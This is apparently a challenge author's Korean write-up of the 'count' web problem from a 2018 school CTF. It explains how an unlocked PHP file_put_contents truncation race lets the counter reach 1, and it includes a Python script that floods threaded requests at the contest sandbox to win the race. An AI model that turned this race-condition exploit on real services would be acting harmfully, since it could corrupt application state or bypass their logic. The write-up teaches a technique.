| by munsiwoo | No comments

2018 선린 고등해커 / count 출제자 풀이

고등해커는 올해 처음으로 학생이 주도·운영해본 교내 해킹방어대회다.
나는 사이트 제작과 웹 문제 출제를 담당했으며, count라는 문제에 대해 풀이를 작성해본다.

<?php
error_reporting(0);
require_once 'flag.php';
# made by munsiwoo

if(isset($_GET['source'])) {
    show_source(__FILE__);
    exit;
}

$cnt_file = 'cnt';

if(!file_exists($cnt_file)) {
    file_put_contents($cnt_file, '10');
}

$cnt = (int)file_get_contents($cnt_file); // read count

if($cnt >= 30) {
    $cnt = 10;
}

$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt); // write count

if($cnt == 1) {
    die($flag);
}

echo "your cnt: ".$cnt;
?>
<br><a href="?source">source</a>

우선 레이스 컨디션(race condition)공격을 모르는 상태에서 위의 코드를 읽는다면, flag를 얻는 것이 불가능하다고 생각할 수 있다.

레이스 컨디션이란 한정된 리소스를 둘 이상의 프로세스가 동시에 이용하려고 경쟁하는 현상을 의미하며 이러한 현상을 이용해 해커가 원하는 결과를 도출해내는 것을 레이스 컨디션 공격이라고 한다. count 문제는 레이스 컨디션 공격으로 $cnt 변수를 1로 만들어 flag를 얻는 문제다.

풀이를 설명하기 앞서 PHP의 file_get_contents 함수와 file_put_contents 함수의 내부 동작 순서를 알아보자.

PHP file_get_contents, file_put_contents function

PHP의 file_get_contents, file_put_contents 함수는 파일 입출력 함수로
fopen, fread, fwrite, fclose 등의 기존 파일 입출력 함수를 쓰기 편하게 하나로 합쳐놓은 함수다.

echo file_get_contents('foo.txt');

이렇게 file_get_contentsfoo.txt의 내용을 읽어올 수 있으며

file_put_contents('foo.txt', 'bar');

이런식으로 foo.txtbar이라는 문자를 쓸 수 있다.

file_put_contents

PHP 공식 문서에 나와있는 file_put_contents 인자를 살펴보자.

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

file_put_contents 함수에서 $flags 인자는 파일의 입출력 모드를 설정할 때 사용되는데, 보통 FILE_APPEND, FILE_APPEND | LOCK_EX 와 같은 옵션을 준다. 여기서 따로 옵션을 주지 않으면 기본 0으로 들어가는 것을 알 수 있다. /php-src/ext/standard/file.c#L592를 보면 $flags0일때의 파일 입출력 모드는 wb모드로 들어간다.

따라서 옵션을 주지않고 일반적인 형식인

file_put_contents('foo', 'bar');

형태로 사용한다면 foo 파일에 있던 기존 내용을 비우고 “bar”라는 내용으로 작성된다는 얘기다. 해당 문제에서는 기존 파일 내용을 모두 비운다는 점을 이용해서 $cnt를 0으로 만들 수 있다. 24줄의 file_put_contents을 계속 실행하면서 cnt 파일의 내용을 계속 비워주면서 다른 쓰레드에서는 17줄의 file_get_contents로 해당 파일을 읽는다면 0으로 만들 수 있다.

그리고 그 아래에서 $cnt = $cnt + 1을 하고 있기 때문에 결과적으로 $cnt에는 1이 들어간다.

Exploit

import requests
import threading

def request(sandbox):
    global response
    uri = 'http://game.withphp.com/ouya/sandbox/' + sandbox
    response = requests.get(uri).text

if __name__ == '__main__':
    sandbox = '80e30ab2318c6a531cdde54c009a54ca/'
    response = ''

    while True:
        threading.Thread(target=request, args=(sandbox,)).start()
        if 'Sunrin{' in response: # flag format is Sunrin{...}
            print(response, flush=True)
            break

    print('End', flush=True)

Leave a Reply